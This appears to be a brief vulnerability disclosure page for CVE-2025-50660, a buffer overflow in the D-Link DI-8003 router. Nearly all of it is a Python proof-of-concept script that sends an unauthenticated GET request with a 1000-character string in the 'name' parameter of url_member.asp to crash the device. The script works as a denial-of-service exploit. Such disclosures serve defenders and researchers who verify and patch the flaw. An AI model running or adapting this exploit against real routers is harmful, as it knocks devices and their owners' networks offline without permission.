CVE-2025-50660 D-Link DI-8003缓冲区溢出漏洞

import requests # Target URL (Replace with actual IP) target_url = "http://192.168.0.1/url_member.asp" # Generate a large payload to trigger the buffer overflow # Sending a long string of 'A' characters to the 'name' parameter payload = "A" * 1000 # Data parameters to be sent params = { "name": payload } try: # Send the malicious GET request without authentication print(f"Sending payload to {target_url}...") response = requests.get(target_url, params=params, timeout=10) # Check the response status print(f"Status Code: {response.status_code}") print("If the device becomes unresponsive, the PoC was successful.") except requests.exceptions.RequestException as e: # Connection errors might indicate the device has crashed (DoS) print(f"Connection error occurred: {e}") print("This may indicate the device has crashed due to the overflow.")